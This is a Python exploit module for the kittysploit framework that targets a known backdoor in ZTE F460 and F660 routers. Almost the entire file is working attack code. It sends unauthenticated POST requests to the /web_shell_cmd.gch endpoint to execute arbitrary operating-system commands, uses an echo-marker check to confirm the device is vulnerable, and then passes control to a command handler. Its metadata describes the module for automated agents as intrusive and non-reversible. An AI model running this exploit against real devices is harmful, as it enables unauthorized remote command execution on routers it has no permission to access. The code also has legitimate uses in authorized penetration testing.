ZTE F460 & F660 Backdoor RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ZTE F460 & F660 Backdoor RCE"""


import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'ZTE F460 & F660 Backdoor RCE',
        'description': 'Exploits ZTE F460 and F660 backdoor vulnerability that allows executing commands on operating system level.',
        'author': ['Rapid7', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://community.rapid7.com/community/infosec/blog/2014/03/04/disclosure-r7-2013-18-zte-f460-and-zte-f660-webshellcmdgch-backdoor'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        data = {
            "IF_ACTION": "apply",
            "IF_ERRORSTR": "SUCC",
            "IF_ERRORPARAM": "SUCC",
            "IF_ERRORTYPE": "-1",
            "Cmd": cmd,
            "CmdAck": ""
        }

        response = self.http_request(
            method="POST",
            path="/web_shell_cmd.gch",
            data=data
        )
        if response is None:
            return ""

        if response.status_code == 200:
            regexp = '<textarea cols="" rows="" id="Frm_CmdAck" class="textarea_1">(.*?)</textarea>'
            res = re.findall(regexp, response.text, re.DOTALL)

            if len(res):
                return res[0]

        return ""
    def check(self):
        marker = self.random_text(32)
        cmd = "echo {}".format(marker)

        response = self.execute(cmd)
        if marker in response:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()